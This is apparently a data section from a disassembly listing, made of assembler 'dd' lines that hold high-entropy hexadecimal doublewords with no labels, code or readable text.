		dd 0C1F15ECAh, 708806A1h, 3A3D56ABh, 313F46h, 165BF362h
		dd 1E7F740Ah, 5F2FC8AAh, 0F08E80D9h, 110F5D42h,	1C041433h
		dd 0F2D4D324h, 5F9C808Dh, 63E61559h, 78189C92h,	0D230CCAh
		dd 8921BDAFh, 0E2F89502h, 12E6C304h, 0B8F9BCF7h, 0EB51F0B4h
		dd 0C43E2B7Fh, 25AA8C3Ch, 80184AE0h, 3488D544h,	0CAA8204Ah
		dd 7F2E148h, 57BEA22Ah,	54C221F9h, 0F1FC4AB3h, 89B0C308h
		dd 91FC5EA8h, 9E9D51E0h, 1804168h, 4A3CB06h, 84E07A9h
		dd 500C56E0h, 0F4B8745Dh, 430D6800h, 0D0388817h, 7685EA14h
		dd 0DCEE0044h, 0C91621C0h, 0FF7C4674h, 3EEA5E2Eh, 1C1F700h
		dd 741CD9Eh, 0D1048A49h, 300A7332h, 3BF90FC3h, 3CE9E827h
		dd 4002D907h, 66D00D18h, 74048B1Dh, 1E331C4Eh, 80899F4Ah
		dd 83A52E4Fh, 203E0C66h, 8A61808Eh, 0F2EB8F1Ch,	0EE881E45h
		dd 44470399h, 9CF0E169h, 483AA63Bh, 0A9218057h,	0B0683CE4h
		dd 647585h, 0B80A7320h,	55357469h, 0C305E901h, 0B448F87Eh
		dd 47CCEC40h, 0A95A00C5h, 9E159204h, 8B308D5Bh,	123BB222h
		dd 95D300BCh, 5083440Dh, 0FE03380Fh, 17045257h,	8908A314h
		dd 0F7F8F070h, 119A00CAh, 275C08Bh, 15392B94h, 9E059CA9h
		dd 0FE081380h, 749CB254h, 61800E1h, 2F23B459h, 0FA03A25Ch
		dd 6445A88Bh, 71C59088h, 804D01C3h, 8F26A69h, 172DE4D3h
		dd 5D277005h, 0F1ACBCB4h, 2B157300h, 0CBF956FBh, 0A4E37A00h
		dd 1C071B12h, 0DE98004Eh, 0C8EB722Ah, 7300CF26h, 0D0AC795Eh
		dd 0F7D51A2h, 1AA42BDBh, 19582163h, 60E4D7D1h, 17039156h
		dd 4FA9A276h, 0F85FC30Bh, 788AE7Eh, 0D1BE5355h,	1BEC80E8h
		dd 5E005B2Fh, 0E2F77208h, 1E5FDC8h, 5181AD1Fh, 6132B9C6h
		dd 0F18CC8C0h, 36F02200h, 0D01931BBh, 0F56D0EF8h, 50C18624h
		dd 0E4F49A52h, 5600F203h, 9636641h, 1D4B9085h, 9DBFFB83h
		dd 948F00ACh, 0FA71EA55h, 0F0F27A00h, 7B9B1028h, 14030F3Bh
		dd 0AE611872h, 0CC51B375h, 1002372Ch, 0F3F0344Fh, 0FEE340A6h
		dd 89F400E3h, 2EBF804h,	0C800C031h, 0BF841090h,	0C970F1h
		dd 3C7FB12Bh, 1A961130h, 41D24124h, 3DA5C100h, 7F349455h
		dd 36640043h, 0F7C90F4h, 1AFC54B6h, 4B0E9490h, 0C0F9D101h
		dd 7C5D81C7h, 4CD701E2h, 8DF42F65h, 0DFCBFCFEh,	0D54F850Fh
		dd 0EB4BC0FFh, 1EB8B657h, 80C69D6Bh, 0F4A74D1Dh, 91005ADCh
		dd 580BC98Ah, 7402320h,	151AD042h, 3DEB6013h, 1B04E57Ch
		dd 8D78384Ah, 54704D87h, 70486443h, 0EAD13F07h,	7CD28580h
		dd 0B58AFA12h, 750B7800h, 881E1C01h, 0E800318h,	4A02C083h
		dd 91EF51E0h, 60BD3A03h, 0D04BFCC8h, 3D49B13h, 6A2AC22h
		dd 8DB1FDB4h, 0DA8BE4C0h, 0F41246EEh, 0DF013926h, 30A58559h
		dd 0C428C1EFh, 98C017D8h, 8E02007Ch, 6854A118h,	0AC9083F6h
		dd 85000F79h, 9541015Fh, 39FD3B0h, 1913CC45h, 0A2900D66h
		dd 4207D55Ch, 1A6CFD9Dh, 68D103F0h, 0C0322E24h,	0C7C500EFh
		dd 1F1EB5FFh, 1764DB00h, 5A8C5452h, 0E5A400A8h,	34FB1056h
		dd 0D7008209h, 85890147h, 7598ABCh, 2F06BD83h, 91590FEh
		dd 8B005184h, 1CEEAA41h, 803108h, 9FA6C721h, 7C86C2FFh
		dd 9715C800h, 0B80D55F9h, 2FB90070h, 3E64B5E2h,	20048D0h
		dd 27DC14B2h, 44B820h, 50143D4h, 0B566281Bh, 830F3D05h
		dd 0C1BE1CC6h, 8E431330h, 0A03C6BC4h, 50887281h, 1F2F010Ch
		dd 3916F76Ah, 8C8F878h,	39A0200h, 80B96019h, 0C1FE00E2h
		dd 0CAB1DFE7h, 440099A0h, 35062005h, 3C3438Dh, 48777EB8h
		dd 2C991F68h, 80CD4A5h,	40D05900h, 0D250C653h, 0FD8A3AE7h
		dd 0F6BF2780h
		dd 0E0B41B4h, 0E1230101h, 151DC384h, 7CF88F8h, 0B1E9EDA4h
		dd 810FF9EEh, 0D77C6880h, 0E8001748h, 0FD19E1F2h, 1560A1Dh
		dd 463576DAh, 0DC2A5420h, 250310B2h, 7475F8Bh, 0F156E06Ah
		dd 3AC07788h, 7FBD14Ah,	956EEB62h, 9D8B50CEh, 83184787h
		dd 14D010F0h, 0D4D63C97h, 0B0FE880h, 53D23E01h,	8A71CD00h
		dd 0B78E13B9h, 26100027h, 164AAB95h, 63EED84Eh,	0EC835707h
		dd 89D1673Dh, 0B5609940h, 0F27B0009h, 8435D337h, 49008FAEh
		dd 0EC5EDD2Fh, 2130879h, 982E8B5Ch, 0A5606353h,	0CC03A869h
		dd 28853AF3h, 435AE020h, 724000B8h, 58E14BECh, 0E244D2Ch
		dd 56004441h, 5357AED6h, 0D83900FAh, 68518376h,	0CA00AD3Eh
		dd 1E15587Dh, 23AC3h, 0A0149574h, 637C0CACh, 0F0444007h
		dd 805973BFh, 114BD920h, 0EFE3A69h, 552D098Eh, 78FF3C3Eh
		dd 23725C21h, 9A0AFF0Eh, 0EB50DA40h, 591FB525h,	6F00794Ah
		dd 50CE8EDh, 7112F675h,	784D00F8h, 7CA85DF0h, 1F1345E1h
		dd 260E7D0Eh, 4254C04Ch, 0EA9768h, 5DEEE456h, 523CA546h
		dd 4CC75700h, 8DF3C959h, 0BBF60054h, 40E06BBAh,	0BF0B3CD5h
		dd 0B59F9Ah, 44CE4653h,	6BF300B7h, 0A2EEF47Bh, 2400D23Ch
		dd 705C9D64h, 42C0B4h, 0E4534AFEh, 8D6DD0AAh, 0D700C8FCh
		dd 9772EF0Dh, 8FE8C3h, 98E0138h, 2C03C766h, 43C2830Fh
		dd 7F084106h, 3AD08107h, 0CCB00F0h, 0E2EACBFh, 2014510h
		dd 2D4C6A30h, 0B09FC32Bh, 132C0732h, 121CF018h,	11C1D08h
		dd 80B91E80h, 8B0EC020h, 31473h, 0EE930C69h, 0F29FEDAh
		dd 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h, 80401C93h
		dd 758D3803h, 0F9601317h, 2870A203h, 53620B72h,	0CC80C214h
		dd 55B39296h, 4A00DB79h, 541825BCh, 852120h, 0A542F4ADh
		dd 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch,	1D453E9h
		dd 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h, 127113Ch
		dd 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h,	443D6C61h
		dd 65768072h, 0EC749530h, 3A430E50h, 75A0CCB4h,	6C118721h
		dd 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh, 0DB45C6E1h
		dd 100009BFh, 404D8D43h, 50DA1463h, 0D9B45Ch, 74C3FB3Ah
		dd 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h, 75804CFEh
		dd 755A00F3h, 0E7F9DF5Fh, 550025DDh, 450F43Bh, 1F84F335h
		dd 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh, 1F41F1h
		dd 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h, 0B8A02E0h
		dd 3EF708BAh, 0EC55D660h, 0CA6C51Eh, 89F8F3CAh,	0D9B47C01h
		dd 50E46E53h, 232A0208h, 28877141h, 3B83FC80h, 76B8D12Eh
		dd 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h, 8A7B1812h
		dd 3A3901F2h, 0E758250h, 41020742h, 78E95303h, 1CCBC4h
		dd 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h, 0FFC50F11h
		dd 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h, 0F84D0067h
		dd 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h,	311600CFh
		dd 58633F23h, 6DF6D761h, 0FC55C000h, 8D95FA2Ch,	91BD072Ah
		dd 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h, 909C1FBCh,	0AEAD0141h
		dd 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah,	0EC2CA7D4h
		dd 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h,	0E0F3CB9Ch
		dd 440C2A20h, 5089077Ch, 51100DD1h, 61E91977h, 0A6C3202Fh
		dd 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh, 0DAC043C1h
		dd 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h, 0E42CC8FCh
		dd 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh, 20E14E1h
		dd 54B98Dh, 0AEF3FD4Fh,	790B8FCh, 1CA483ACh, 0E9ABA204h
		dd 70816641h, 4717BA62h, 0C50040A7h, 27A09184h,	24F50774h
		dd 0F8FA80h, 0FC1390Dh,	920060FEh, 1D495057h, 8CFE89h
		dd 0EE475DDBh, 159862B8h, 81268D7Dh, 1612E344h,	0AE80841Fh
		dd 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h,	2300A56Ah
		dd 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h, 5C0038EEh
		dd 0EA72A5EBh, 0E2D14B0h, 39FC5A61h, 905C7C0h, 93E47648h
		dd 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh, 0C10074B1h
		dd 3A77EF56h, 0A9D319h,	0EBE2BB0Dh, 4910434Fh, 0DD07901Fh
		dd 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch, 0A316A80Fh
		dd 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh,	173936E9h
		dd 95380C9h, 480F34C3h,	4CAE4C41h, 7794050Ch, 830011BCh
		dd 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h,	0C201E300h
		dd 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h,	14012A07h
		dd 3C203B11h, 1E4199F0h, 0C08944BEh, 1525F7FEh,	0C3006978h
		dd 3519010h, 0B823A905h, 495A038Eh, 7180A5C8h, 790407E0h
		dd 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h,	0BA1C1318h
		dd 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h, 3D008BC5h
		dd 0D43B060Eh, 7D485Ch,	82B13E2Ch, 1A72D939h, 8D6C9000h
		dd 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h, 0E1541A00h
		dd 7C8848A5h, 77190094h, 4CEFEA99h, 0FF073534h,	4D21832h
		dd 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh, 0FA81F800h
		dd 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch, 0BB0EF43Dh
		dd 27902023h, 3AF8F06Ah, 190096F9h, 0D5D20A0Ch,	100E954h
		dd 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh, 2AC31000h
		dd 3B558F8h, 33C812A0h,	8FF05DBh, 57A9019Fh, 0FC2DE241h
		dd 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh, 87D5355Ah
		dd 9D0088F1h, 0C8D0E44Ch, 184351C1h, 66085D3Bh,	42001D40h
		dd 0EFD6934Eh, 1F90ABDCh, 40106A12h, 3075448Dh,	0AC09B93Fh
		dd 9109B5h, 0F5EF123Eh,	8BF61EC4h, 0DD807E06h, 0BE11F9ECh
		dd 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h, 0F8C7448Ch
		dd 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h, 0F72765C5h
		dd 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh,	158A0582h
		dd 81615E4Ch, 0F00F1032h, 35170BC3h, 700F3C5h, 0E37F02BAh
		dd 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh, 127B81h
		dd 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h, 124300E5h
		dd 60890C24h, 0DF901A90h, 59EF1000h, 5D88A03h, 352900CBh
		dd 0BA37DCD2h, 7200DAC1h, 22124E1Fh, 1772110h, 0C6F7690Dh
		dd 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h, 5E1D0064h
		dd 913BA40h, 0E800CEFAh, 0F535AE4Ah, 53CCA9h, 0D9D24EFFh
		dd 897F4801h, 16C90A07h, 64C158FCh, 0E6600E19h,	2833B32h
		dd 3E92042Ch, 3B66A080h, 7127506h, 76C98500h, 45BE8B20h
		dd 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah, 0D400EC0h
		dd 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h, 4790C362h
		dd 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h,	0F01F84h
		dd 1DC8BD4Ch, 0FC485FB9h, 0EFE06B02h, 0F58E412Dh, 344F9B40h
		dd 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h, 0A0380C4h
		dd 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h, 19FA00C4h
		dd 1624DEC0h, 0B100DF77h, 9B7A8528h, 70CAA1Dh, 899E2099h
		dd 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h,	320D0598h
		dd 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh, 1A6DC9h
		dd 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h, 0B02E7E1Ch
		dd 7500F25Dh, 43C61611h
		dd 28FB05h, 0C134E94Ah,	0A282701Dh, 1C8E9507h, 857214C0h
		dd 0D7C0C0D2h, 0B4481FA0h, 5C80FAEAh, 0F78023Ah, 0F7008537h
		dd 0B26BBA13h, 710D49Ch, 80792075h, 1757D054h, 11001993h
		dd 0D2515303h, 0A04D14h, 0F78B4781h, 0D0AA4256h, 9EFFB300h
		dd 0E8FCEF51h, 136100D3h, 7F468A3Ch, 88050920h,	699D7F9h
		dd 87578580h, 30871C2h,	0A2B45005h, 604C6A8Eh, 4DE82C66h
		dd 49271B00h, 0C0223Dh,	0BAE12A76h, 0AA922E38h,	7B430700h
		dd 0EE811EE0h, 971400A2h, 754F8568h, 0A91328E2h, 6100CA21h
		dd 951ABB92h, 610D0705h, 50201253h, 915189D4h, 80D00E3Ch
		dd 3C4F9BE8h, 1F7F55h, 522228DCh, 0A11392F0h, 0E6E55800h
		dd 309419D1h, 21F53F59h, 0D740A00h, 0ADD73C84h,	4300EC90h
		dd 564B5E2Ah, 1C212C30h, 0DE1D5960h, 40B51F5Bh,	792A4D6h
		dd 2C037389h, 852E56DDh, 352DA0FCh, 6B6C1EE9h, 0C0655D64h
		dd 991257C2h, 0AB735B30h, 6800C4E8h, 164E912Dh,	0AF6CB8h
		dd 0C20B9557h, 0C050C194h, 2DAD2201h, 49AC5C90h, 4021FD40h
		dd 6C7002Ch, 2811D6D4h,	9B03CB42h, 22431AFDh, 7AD998AAh
		dd 4330093h, 3C60ABCh, 0C9009901h, 6F8B29DEh, 75B9A609h
		dd 116500A5h, 5B73A488h, 1AE626C7h, 535D7401h, 41243EF9h
		dd 0D794E8h, 8DD38549h,	0E8CB3122h, 7B80BE1Eh, 4C7E04C0h
		dd 1FBAE619h, 402F2BE1h, 0F62E284Ah, 46FE2D42h,	52D6EE00h
		dd 92B6E74Fh, 2AB3008Dh, 1CB95D65h, 2E1F29C4h, 80E7438h
		dd 4254C730h, 17AF9770h, 3F59FA90h, 0EC00F7F0h,	0CF806A9h
		dd 0E4008AF4h, 89FC7E5Fh, 0F100F41h, 53A22F3Eh,	3B2C9FA0h
		dd 8000550Eh, 0A9F752B9h, 77138B2Ah, 1AA80796h,	0B008F49Fh
		dd 4A95651Dh, 54855600h, 5E2F412Eh, 6570E776h, 0AA810057h
		dd 80744965h, 0BE0207F0h, 0EB0F0263h, 0B24DE005h, 7F17F8C1h
		dd 0EC880E11h, 29604276h, 5245CC6h, 55455900h, 0EB3125B2h
		dd 93AF00CAh, 5C7D1404h, 0E1002CBCh, 100E2F71h,	77F1799Ch
		dd 9A0A0078h, 0EC6EDF3Eh, 52000B44h, 7367650Eh,	0EE9320h
		dd 0D3815A84h, 9B64C883h, 71BF1800h, 17514794h,	93F20052h
		dd 31D0811Fh, 0F80039D2h, 41D7408h, 5275F7h, 9A16B192h
		dd 730A8BB0h, 806D400h,	95419FE8h, 0B8495F01h, 0B87E007Eh
		dd 9451A25Ch, 740C0018h, 76453AF4h, 6F3ED5EFh, 0BD200735h
		dd 95F00A9Eh, 3CE25EAh,	0DB481408h, 0F7A0D81Eh,	3D00A5D0h
		dd 8A9018A9h, 7BC8FE04h, 6CF100F6h, 59AD14B9h, 107D865h
		dd 0C7D8051h, 0BBF27F50h, 5AEB0039h, 1FE81A03h,	0C8005220h
		dd 0E224D455h, 0F45148Ah, 4D485D37h, 0D03BA520h, 46BE5105h
		dd 0D800912Eh, 46048D21h, 0AA9E00C0h, 696FB20h,	0D900AB10h
		dd 0FAEBFC4h, 98177504h, 95700023h, 16F2B8D8h, 0BE005CD4h
		dd 0F8573ECEh, 54964h, 0B814922Ah, 6741526h, 5869A703h
		dd 0D8D1D7C2h, 13F681Ch, 3323E1FDh, 0D8458850h,	10FA03B2h
		dd 48A05D3Dh, 7ED20333h, 0C0800F40h, 704CA3Eh, 5E0E8803h
		dd 304AC7C3h, 0C40C51F1h, 0B2262F07h, 3A701B39h, 7A66320Eh
		dd 2E467588h, 0E5F45Ah,	5DD05110h, 0E800F83Eh, 0D825996Fh
		dd 730BEE89h, 4FAE0h, 0C822B7Ch, 265FAD56h, 2ACBC907h
		dd 5B7046FBh, 16BD1A21h, 0D0A58h, 1E8CED37h, 7800A06Bh
		dd 0FF21CC43h, 274D10h,	60DEDF75h, 7DF9B1E7h, 0A7B36400h
		dd 0EB2AC154h, 24A90707h, 57EA5953h, 0F57A501Fh, 84002065h
		dd 2C413249h, 7944A0h, 70B8220Ah, 62FB53BDh, 190507Fh
		dd 3300A0FCh, 13156A8h,	200BE5h, 5C15D524h, 6051F8C6h
		dd 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h, 10F28019h
		dd 13001109h, 87D18512h, 0EE881848h, 44012C1Ch,	57003F59h
		dd 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh,	503089D9h
		dd 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h, 0C36847C6h
		dd 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h,	4B011029h
		dd 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h, 0A981FBEBh
		dd 9100187Ah, 235060Ch,	0E2A876h, 5A402D7Ch, 52643155h
		dd 83762AE4h, 0A6187800h, 14D98906h, 0FCCE78FFh, 5A540E40h
		dd 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h, 7430682Eh,	14020800h
		dd 0FE6A24B2h, 3F40F60h, 0AA0129B0h, 0CED8AC10h, 808A3EC0h
		dd 0AF49741Fh, 0DCE82B00h, 0E2F8B2h, 8DFC864Ah,	0D65048A4h
		dd 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h,	6774292Eh
		dd 32003BD9h, 1120C61h,	2036A5Bh, 0AB574555h, 946330C3h
		dd 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h, 0CE81DCAAh
		dd 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h, 2F6FFABh
		dd 996625A7h, 4ADEEF7Eh, 3302C900h, 10CE307h, 1C8D180Bh
		dd 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h, 0ABBC0229h
		dd 519ACAA1h, 864BC640h, 5045480Ah, 500B91Fh, 44F0E83Fh
		dd 34CE0095h, 7DDB1EC3h, 0FE033E09h, 1058E665h,	0E7C0F8CDh
		dd 0EA310066h, 110DA5C3h, 100A229h, 0DC1C5E06h,	86957Eh
		dd 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh,	4280E2Eh
		dd 0A54261A6h, 0D0609FA0h, 1C002DE3h, 715FC831h, 934335h
		dd 8D092280h, 89A59644h, 6610B900h, 148EBB8h, 55500018h
		dd 0C395CCCFh, 8300021Fh, 20CD0C10h, 0B0067Dh, 6CE8AAF2h
		dd 0F312C879h, 80037BFEh, 363E2E26h, 6A65D064h,	0CD770006h
		dd 234D836Dh, 9DB0145Bh, 15A65E14h, 0A39400D5h,	0BEA09A95h
		dd 74EB0D3h, 3F8624FEh,	0E72230D2h, 420F01B7h, 56A57h
		dd 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh, 452401DBh
		dd 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah, 9DC0C100h
		dd 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h, 10B3D0F0h
		dd 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h, 7C09E381h
		dd 0B6430403h, 0C0C0D3A0h, 0D80108h, 48469466h,	65AD7AAAh
		dd 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h, 26076B24h
		dd 303CC200h, 0ED805889h, 66813BB3h, 5AA59Fh, 0D485F442h
		dd 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah, 8B2EC6AAh
		dd 0ED779201h, 0B151520Ah, 45AC0E0h, 0B88DC850h, 0D137837Ch
		dd 38302880h, 130B0300h, 2B230A1Bh, 0AA5E0033h,	8084B14Ah
		dd 0A200C0C7h, 6AB550B6h, 1D35C5AEh, 3EF58B98h,	0CAB803F9h
		dd 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh, 1733C55h
		dd 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah, 0FEE16753h
		dd 6E010028h, 91F93538h, 22009409h, 0DAC144AAh,	16EC89h
		dd 693E552h, 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh
		dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h
		dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h
		dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h,	65C2ADE1h
		dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h
		dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h
		dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh
		dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h,	401563A6h
		dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h
		dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh
		dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh
		dd 0C3E33400h, 0C0BBB121h
		dd 31AA3A35h, 0F184B303h, 0C3A51F04h, 3BA80628h, 3A3064A0h
		dd 9160FE09h, 7522306Ch, 8EAA6860h, 0E4DAF200h,	80142E66h
		dd 0D4503AC0h, 1F096A81h, 0E55185CEh, 0EAE7EC89h, 835D8200h
		dd 0FECA522Dh, 0C7B900AAh, 1015944Fh, 88002A93h, 28AB5168h
		dd 1F83F0B4h, 0F10C6Dh,	0EC174BEEh, 6500E035h, 62C45EE1h
		dd 0FE4E344h, 9514E589h, 29F3620h, 0FA00A2BBh, 488858B5h
		dd 2B082Ch, 940183Ch, 0AA49FFB0h, 7393C500h, 5328BF07h
		dd 641500C3h, 99200634h, 2B0578DDh, 5B5C1189h, 60A478C2h
		dd 30AEB15h, 0EC4502FAh, 0ADD85852h, 3B004683h,	0FFAE6787h
		dd 581849B9h, 0BE3E568Fh, 0F8712ACh, 96C0A938h,	2C52D426h
		dd 702AE309h, 0B6A83E4h, 3EEF9011h, 0CEB8001Ah,	8F748D2h
		dd 0AF982792h, 371D64F4h, 74ECAC16h, 9880C21Ch,	0A5349714h
		dd 7D2D0F72h, 19404312h, 0EC9E3937h, 0A446A00h,	0CE64AA58h
		dd 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh, 75138059h,	508388EBh
		dd 0A4C700AAh, 152553C6h, 2D004FF3h, 791E3AFCh,	9A5BF8h
		dd 1241FE5h, 0AF11E459h, 0D0033D00h, 708498A4h,	0FEF28Fh
		dd 736B6FF2h, 8CAA5524h, 8E749001h, 5E9219A7h, 2785F8h
		dd 8503D10h, 2F0C2E64h,	48F83E0Ah, 8F00CDC6h, 5F4452B8h
		dd 190A00E5h, 0AFF49940h, 0CD3A7180h, 0C2248012h, 826F8A62h
		dd 796E1DA6h, 85550303h, 2EB1215Eh, 0A580F056h,	10658100h
		dd 29DF4131h, 3D8F774Fh, 46002FC6h, 97A323Fh, 0C500249Ch
		dd 0E8842B54h, 40B3F7h,	37181665h, 53429AFBh, 1331EA0Eh
		dd 5F0E67EDh, 263A62C0h, 1493008Dh, 97103644h, 0D6755420h
		dd 0F3619801h, 453B92DEh, 40CC32E9h, 4333CA9h, 0A126B700h
		dd 29CA5C91h, 862B5B01h, 141CF92Fh, 0C62D30h, 0FBA1FE45h
		dd 83C22D7Fh, 400EBF8h,	6A762170h, 136FCA5h, 75323C48h
		dd 0C8180C24h, 0AE0F1499h, 0E0232091h, 100EEB29h, 0F09004Bh
		dd 12AFAA95h, 0AC38C21Fh, 47F20079h, 4402652Ah,	407009F5h
		dd 0DA8006F1h, 22F77ED2h, 1C1DE2FEh, 0B3262D45h, 91BDC600h
		dd 687130h, 33485E79h, 0FA8A4FFCh, 28A97B00h, 39261980h
		dd 2F7400F5h, 5DF45FC4h, 2200915Eh, 0F86594CAh,	0E8CEB09Ah
		dd 0E6B89Dh, 9C14B218h,	2A0B24C3h, 0B0790800h, 8DFC5309h
		dd 7D4EA48h, 5BC3048Ah,	212450DDh, 0D200AAB7h, 0DB94719Ch
		dd 6F5F44Bh, 0B23A4BBh,	0C20098D1h, 3E988ACBh, 802113h
		dd 7426C084h, 87ABF417h, 31A9CF02h, 8FA7FABFh, 76FCC086h
		dd 0B42CDADh, 3D023267h, 48662A80h, 3F0044C4h, 2893DB49h
		dd 3B5638A1h, 539DB732h, 3E8647Fh, 2018421Ch, 9F0243A8h
		dd 3D90A13Dh, 0FF93EC8h, 20BCD91Eh, 41B1D44Fh, 11010033h
		dd 0A4400343h, 6700DE34h, 0D8B4D753h, 88FC3Fh, 0DAAD330Ch
		dd 24CDC029h, 0F753FE00h, 1CA7A5D2h, 3E500195h,	91DFC8A8h
		dd 0B24460B5h, 55AFF39h, 17314FEBh, 6A697F80h, 5B301E21h
		dd 63FC09Eh, 56846B4Ah,	0D3A38B2Ch, 0D044CF07h,	32EB6D70h
		dd 40B20007h, 343F0937h, 26002D1Fh, 18465698h, 0F48071B5h
		dd 0CC020035h, 0EE4CDA24h, 40001E09h, 8339B045h, 0D5CFAAh
		dd 0A81AC91Ch, 0BBA5EDDAh, 5A962F0Eh, 0D748C0A4h, 0F3FE63Ah
		dd 35252991h, 0C717BB60h, 1D006434h, 0A2D3D2E2h, 0E14F6Ah
		dd 0B345233Eh, 20A9840Ch, 0E4EC3Ah, 0AA5382B6h,	4C092293h
		dd 0B00FFBADh, 4FAF8157h, 0C010DA47h, 0F8BC1F2Ah, 9E031BB8h
		dd 79BF4A85h, 6425A0FBh, 0A60C0F17h, 758F9339h,	7DD8C560h
		dd 0ED7A8D35h, 0E4A83700h, 0D6561CCEh, 636E2A1h, 3465401h
		dd 76007662h, 0E8028891h, 30D7B5Ah, 707E843Bh, 0F0F77A85h
		dd 0AC758224h, 0D1E62798h, 9F952200h, 0D12A4FCh, 7A340047h
		dd 0E804C8B9h, 7E3CC0ADh, 8770808Eh, 4DBEE269h,	54F20E3Eh
		dd 9767FC24h, 8BA4D08Fh, 76072B5Ch, 0B5BCC025h,	0B752B620h
		dd 0F0F6F1h, 0D092717Ah, 0FE81385Ah, 13DF8C00h,	883F0848h
		dd 0A58B01B0h, 5E956B77h, 0BBBD3092h, 0D3005BF0h, 2704F3F0h
		dd 11B974h, 9669508Ah, 1729BBC4h, 587CC80Bh, 0FBCF0048h
		dd 3EED805Ch, 0FD00C74Eh, 35BFC195h, 320009E5h,	0E1731E82h
		dd 85CA3Bh, 54862F07h, 109E6AE7h, 37B47E01h, 4E05ACBEh
		dd 0B16FE8C7h, 393B3827h, 7822F980h, 0BF8EC59h,	6A3A401Ch
		dd 0C38C49C0h, 2AFE909h, 97B4ED7Ah, 11601674h, 2FE21CC7h
		dd 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh, 8AFA2730h, 653A22D2h
		dd 34F49E60h, 9FCF3B40h, 961152h, 0FF8E2E25h, 553C0310h
		dd 0AF04E4E5h, 1B0061F2h, 0D5A71477h, 37F4062h,	0A23F9A2Ch
		dd 0C590832Eh, 9D054B6Ah, 0C35691Fh, 455ACD00h,	0E79117h
		dd 324A8110h, 22C2098Fh, 0EFB8B000h, 0D6E22EFCh, 0AEEE00A7h
		dd 5F74DADFh, 6A00B945h, 0BA8D4CD5h, 1BDE453h, 0D6F8A032h
